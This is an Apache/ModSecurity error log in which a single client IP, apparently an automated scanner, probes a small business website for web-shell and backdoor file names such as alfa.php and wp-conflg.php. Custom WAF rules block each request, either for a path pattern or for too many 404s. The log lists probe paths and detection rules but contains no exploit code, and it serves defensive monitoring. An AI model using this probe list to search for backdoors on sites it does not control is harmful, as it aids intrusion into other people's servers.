[Tue Dec 30 00:01:53.379749 2025] [:error] [pid 11453:tid 11509] [client 158.158.106.197:11351] [client 158.158.106.197] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "agraphics.com.au"] [uri "/wp-includes/images/wp-login.php"] [unique_id "aVKl8by-FXnKT7-6pt4EXgAAAIA"]
[Tue Dec 30 00:01:53.869223 2025] [:error] [pid 24343:tid 24349] [client 158.158.106.197:5052] [client 158.158.106.197] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/cong.php"] [unique_id "aVKl8cvqvAa0rISAVIR9ZQAAAgE"]
[Tue Dec 30 00:01:54.486005 2025] [:error] [pid 11451:tid 11479] [client 158.158.106.197:11269] [client 158.158.106.197] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/cong.php"] [unique_id "aVKl8pDUmxySx0Vynm8tZgAAABg"]
[Tue Dec 30 00:01:54.989868 2025] [:error] [pid 42293:tid 42304] [client 158.158.106.197:11339] [client 158.158.106.197] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/cong.php"] [unique_id "aVKl8gpAkHF7zSWhAzGEJgAAAUk"]
[Tue Dec 30 00:01:55.617529 2025] [:error] [pid 4295:tid 4316] [client 158.158.106.197:11345] [client 158.158.106.197] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/cong.php"] [unique_id "aVKl8zZaf4wrmKkZkFJRowAAAZM"]
[Tue Dec 30 00:01:56.290474 2025] [:error] [pid 37389:tid 37473] [client 158.158.106.197:11287] [client 158.158.106.197] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/w.php"] [unique_id "aVKl9MEYrQKI4GZ26QZy4AAAARM"]
[Tue Dec 30 00:01:56.824436 2025] [:error] [pid 11451:tid 11474] [client 158.158.106.197:5038] [client 158.158.106.197] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/w.php"] [unique_id "aVKl9JDUmxySx0Vynm8taAAAABM"]
[Tue Dec 30 00:01:57.476157 2025] [:error] [pid 37389:tid 37463] [client 158.158.106.197:11304] [client 158.158.106.197] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/w.php"] [unique_id "aVKl9cEYrQKI4GZ26QZy4QAAAQk"]
[Tue Dec 30 00:01:58.055754 2025] [:error] [pid 37389:tid 37478] [client 158.158.106.197:11361] [client 158.158.106.197] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/w.php"] [unique_id "aVKl9sEYrQKI4GZ26QZy4gAAARg"]
[Tue Dec 30 00:01:58.891509 2025] [:error] [pid 24344:tid 24385] [client 158.158.106.197:11289] [client 158.158.106.197] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/404.php"] [unique_id "aVKl9k1cesxuccozvjjuDwAAAko"]
[Tue Dec 30 00:01:59.549094 2025] [proxy_fcgi:error] [pid 11540:tid 11558] [client 158.158.106.197:11334] AH01071: Got error 'Primary script unknown'
[Tue Dec 30 00:01:59.794907 2025] [proxy_fcgi:error] [pid 11540:tid 11554] [client 158.158.106.197:11334] AH01071: Got error 'Primary script unknown'
[Tue Dec 30 00:02:00.113829 2025] [proxy_fcgi:error] [pid 11540:tid 11552] [client 158.158.106.197:11334] AH01071: Got error 'Primary script unknown'
[Tue Dec 30 00:02:00.372197 2025] [proxy_fcgi:error] [pid 11540:tid 11559] [client 158.158.106.197:11334] AH01071: Got error 'Primary script unknown'
[Tue Dec 30 00:02:00.681760 2025] [proxy_fcgi:error] [pid 11540:tid 11556] [client 158.158.106.197:11334] AH01071: Got error 'Primary script unknown'
[Tue Dec 30 00:02:01.355830 2025] [proxy_fcgi:error] [pid 11540:tid 11560] [client 158.158.106.197:11334] AH01071: Got error 'Primary script unknown'
[Tue Dec 30 00:02:01.861809 2025] [proxy_fcgi:error] [pid 11540:tid 11562] [client 158.158.106.197:11334] AH01071: Got error 'Primary script unknown'
[Tue Dec 30 00:02:02.105007 2025] [proxy_fcgi:error] [pid 11540:tid 11550] [client 158.158.106.197:11334] AH01071: Got error 'Primary script unknown'
[Tue Dec 30 00:02:02.349094 2025] [proxy_fcgi:error] [pid 11540:tid 11555] [client 158.158.106.197:11334] AH01071: Got error 'Primary script unknown'
[Tue Dec 30 00:02:02.611847 2025] [:error] [pid 11540:tid 11543] [client 158.158.106.197:11334] [client 158.158.106.197] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/inputs.php"] [unique_id "aVKl-g1izvtkZ6YWaTwM_AAAAME"]
[Tue Dec 30 00:02:03.283632 2025] [:error] [pid 4295:tid 4313] [client 158.158.106.197:11374] [client 158.158.106.197] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/inputs.php"] [unique_id "aVKl-zZaf4wrmKkZkFJRqAAAAZA"]
[Tue Dec 30 00:02:03.975823 2025] [:error] [pid 4295:tid 4315] [client 158.158.106.197:5102] [client 158.158.106.197] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/inputs.php"] [unique_id "aVKl-zZaf4wrmKkZkFJRqQAAAZI"]
[Tue Dec 30 00:02:05.681757 2025] [:error] [pid 24344:tid 24400] [client 158.158.106.197:11341] [client 158.158.106.197] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/inputs.php"] [unique_id "aVKl_U1cesxuccozvjjuEwAAAlc"]
[Tue Dec 30 00:02:06.437919 2025] [:error] [pid 11453:tid 11515] [client 158.158.106.197:11357] [client 158.158.106.197] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/about.php"] [unique_id "aVKl_ry-FXnKT7-6pt4EZgAAAIY"]
[Tue Dec 30 00:02:07.023258 2025] [:error] [pid 4295:tid 4297] [client 158.158.106.197:11278] [client 158.158.106.197] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/about.php"] [unique_id "aVKl_zZaf4wrmKkZkFJRrAAAAYA"]
[Tue Dec 30 00:02:07.745070 2025] [:error] [pid 24343:tid 24367] [client 158.158.106.197:5068] [client 158.158.106.197] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/about.php"] [unique_id "aVKl_8vqvAa0rISAVIR9ZwAAAhM"]
[Tue Dec 30 00:02:08.275142 2025] [:error] [pid 11453:tid 11525] [client 158.158.106.197:11284] [client 158.158.106.197] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/about.php"] [unique_id "aVKmALy-FXnKT7-6pt4EaAAAAJA"]
[Tue Dec 30 00:02:08.915022 2025] [:error] [pid 11451:tid 11464] [client 158.158.106.197:5016] [client 158.158.106.197] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/alfa.php"] [unique_id "aVKmAJDUmxySx0Vynm8tbwAAAAk"]
[Tue Dec 30 00:02:09.425719 2025] [:error] [pid 11453:tid 11514] [client 158.158.106.197:5092] [client 158.158.106.197] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/alfa.php"] [unique_id "aVKmAby-FXnKT7-6pt4EaQAAAIU"]
[Tue Dec 30 00:02:09.952503 2025] [:error] [pid 24344:tid 24384] [client 158.158.106.197:11327] [client 158.158.106.197] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/alfa.php"] [unique_id "aVKmAU1cesxuccozvjjuFQAAAkk"]
[Tue Dec 30 00:02:10.505140 2025] [:error] [pid 11453:tid 11512] [client 158.158.106.197:5079] [client 158.158.106.197] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/alfa.php"] [unique_id "aVKmAry-FXnKT7-6pt4EawAAAIM"]
[Tue Dec 30 00:02:11.416588 2025] [:error] [pid 11453:tid 11516] [client 158.158.106.197:11323] [client 158.158.106.197] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/themes/twentytwentytwo/index.php"] [unique_id "aVKmA7y-FXnKT7-6pt4EbQAAAIc"]
[Tue Dec 30 00:02:11.990112 2025] [:error] [pid 11453:tid 11520] [client 158.158.106.197:11299] [client 158.158.106.197] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/themes/twentytwentytwo/index.php"] [unique_id "aVKmA7y-FXnKT7-6pt4EbwAAAIs"]
[Tue Dec 30 00:02:12.636440 2025] [:error] [pid 11453:tid 11513] [client 158.158.106.197:5098] [client 158.158.106.197] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/themes/twentytwentytwo/index.php"] [unique_id "aVKmBLy-FXnKT7-6pt4EcQAAAIQ"]
[Tue Dec 30 00:02:13.316657 2025] [:error] [pid 11453:tid 11517] [client 158.158.106.197:5012] [client 158.158.106.197] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/themes/twentytwentytwo/index.php"] [unique_id "aVKmBby-FXnKT7-6pt4EcgAAAIg"]
[Tue Dec 30 00:02:13.926237 2025] [:error] [pid 24343:tid 24355] [client 158.158.106.197:5043] [client 158.158.106.197] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/wp-admin/js/wp-conflg.php"] [unique_id "aVKmBcvqvAa0rISAVIR9awAAAgc"]
[Tue Dec 30 00:02:15.077315 2025] [:error] [pid 24343:tid 24368] [client 158.158.106.197:11337] [client 158.158.106.197] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/wp-admin/js/wp-conflg.php"] [unique_id "aVKmB8vqvAa0rISAVIR9bgAAAhQ"]
[Tue Dec 30 00:02:15.861833 2025] [:error] [pid 24344:tid 24401] [client 158.158.106.197:11358] [client 158.158.106.197] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/wp-admin/js/wp-conflg.php"] [unique_id "aVKmB01cesxuccozvjjuGQAAAlg"]
[Tue Dec 30 00:02:17.020438 2025] [:error] [pid 24344:tid 24386] [client 158.158.106.197:4996] [client 158.158.106.197] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/wp-admin/js/wp-conflg.php"] [unique_id "aVKmCU1cesxuccozvjjuHAAAAks"]
[Tue Dec 30 00:02:17.673674 2025] [:error] [pid 24343:tid 24348] [client 158.158.106.197:11321] [client 158.158.106.197] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/wp-admin/wp-conflg.php"] [unique_id "aVKmCcvqvAa0rISAVIR9cgAAAgA"]
[Tue Dec 30 00:02:18.598986 2025] [:error] [pid 11540:tid 11549] [client 158.158.106.197:5114] [client 158.158.106.197] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/wp-admin/wp-conflg.php"] [unique_id "aVKmCg1izvtkZ6YWaTwNBgAAAMc"]
[Tue Dec 30 00:02:19.429492 2025] [:error] [pid 24344:tid 24393] [client 158.158.106.197:5082] [client 158.158.106.197] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/wp-admin/wp-conflg.php"] [unique_id "aVKmC01cesxuccozvjjuIAAAAlA"]
[Tue Dec 30 00:02:20.178947 2025] [:error] [pid 11451:tid 11465] [client 158.158.106.197:5118] [client 158.158.106.197] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/wp-admin/wp-conflg.php"] [unique_id "aVKmDJDUmxySx0Vynm8teAAAAAo"]
[Tue Dec 30 00:02:20.874636 2025] [:error] [pid 11453:tid 11515] [client 158.158.106.197:5089] [client 158.158.106.197] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/wp-admin/css/wp-conflg.php"] [unique_id "aVKmDLy-FXnKT7-6pt4EdgAAAIY"]
[Tue Dec 30 00:02:21.824549 2025] [:error] [pid 24343:tid 24358] [client 158.158.106.197:11282] [client 158.158.106.197] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/wp-admin/css/wp-conflg.php"] [unique_id "aVKmDcvqvAa0rISAVIR9cwAAAgo"]
[Tue Dec 30 00:02:22.917122 2025] [:error] [pid 24344:tid 24394] [client 158.158.106.197:11271] [client 158.158.106.197] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/wp-admin/css/wp-conflg.php"] [unique_id "aVKmDk1cesxuccozvjjuIQAAAlE"]
[Tue Dec 30 00:02:24.063556 2025] [:error] [pid 24344:tid 24378] [client 158.158.106.197:5006] [client 158.158.106.197] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/wp-admin/css/wp-conflg.php"] [unique_id "aVKmEE1cesxuccozvjjuIgAAAkM"]
[Tue Dec 30 00:02:25.111720 2025] [:error] [pid 11452:tid 11499] [client 158.158.106.197:11294] [client 158.158.106.197] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/manager.php"] [unique_id "aVKmEahBUmuWsliUNqSJQwAAAFE"]
[Tue Dec 30 00:02:25.969885 2025] [:error] [pid 24343:tid 24356] [client 158.158.106.197:5004] [client 158.158.106.197] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/manager.php"] [unique_id "aVKmEcvqvAa0rISAVIR9ewAAAgg"]
[Tue Dec 30 00:02:27.138272 2025] [:error] [pid 24307:tid 24332] [client 158.158.106.197:11318] [client 158.158.106.197] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/manager.php"] [unique_id "aVKmEy5AURuH8IsFzz6bSAAAAdY"]
[Tue Dec 30 00:02:27.734003 2025] [:error] [pid 24343:tid 24365] [client 158.158.106.197:5110] [client 158.158.106.197] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/manager.php"] [unique_id "aVKmE8vqvAa0rISAVIR9fAAAAhE"]
[Tue Dec 30 00:02:28.399221 2025] [:error] [pid 11540:tid 11556] [client 158.158.106.197:5083] [client 158.158.106.197] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/item.php"] [unique_id "aVKmFA1izvtkZ6YWaTwNDwAAAM4"]
[Tue Dec 30 00:02:28.968107 2025] [:error] [pid 42293:tid 42304] [client 158.158.106.197:11367] [client 158.158.106.197] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/item.php"] [unique_id "aVKmFApAkHF7zSWhAzGEPgAAAUk"]
[Tue Dec 30 00:02:29.969801 2025] [:error] [pid 24343:tid 24353] [client 158.158.106.197:11346] [client 158.158.106.197] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/item.php"] [unique_id "aVKmFcvqvAa0rISAVIR9fQAAAgU"]
[Tue Dec 30 00:02:30.746831 2025] [:error] [pid 11453:tid 11524] [client 158.158.106.197:5081] [client 158.158.106.197] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/item.php"] [unique_id "aVKmFry-FXnKT7-6pt4EgAAAAI8"]
[Tue Dec 30 00:02:31.374604 2025] [:error] [pid 11452:tid 11495] [client 158.158.106.197:11308] [client 158.158.106.197] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/plugins/Cache/footer.php"] [unique_id "aVKmF6hBUmuWsliUNqSJUQAAAE0"]
[Tue Dec 30 00:02:32.118664 2025] [:error] [pid 24307:tid 24327] [client 158.158.106.197:5087] [client 158.158.106.197] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/plugins/Cache/footer.php"] [unique_id "aVKmGC5AURuH8IsFzz6bTAAAAdE"]
[Tue Dec 30 00:02:33.026637 2025] [:error] [pid 24343:tid 24348] [client 158.158.106.197:4994] [client 158.158.106.197] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/plugins/Cache/footer.php"] [unique_id "aVKmGcvqvAa0rISAVIR9gQAAAgA"]
[Tue Dec 30 00:02:33.635564 2025] [:error] [pid 11451:tid 11476] [client 158.158.106.197:5057] [client 158.158.106.197] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/plugins/Cache/footer.php"] [unique_id "aVKmGZDUmxySx0Vynm8tgQAAABU"]
[Tue Dec 30 00:02:34.229923 2025] [:error] [pid 11451:tid 11471] [client 158.158.106.197:5073] [client 158.158.106.197] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/404.php"] [unique_id "aVKmGpDUmxySx0Vynm8tggAAABA"]
[Tue Dec 30 00:02:34.864362 2025] [:error] [pid 24343:tid 24372] [client 158.158.106.197:5116] [client 158.158.106.197] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/404.php"] [unique_id "aVKmGsvqvAa0rISAVIR9gwAAAhg"]
[Tue Dec 30 00:02:35.522448 2025] [:error] [pid 37389:tid 37462] [client 158.158.106.197:11372] [client 158.158.106.197] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/404.php"] [unique_id "aVKmG8EYrQKI4GZ26QZy7AAAAQg"]
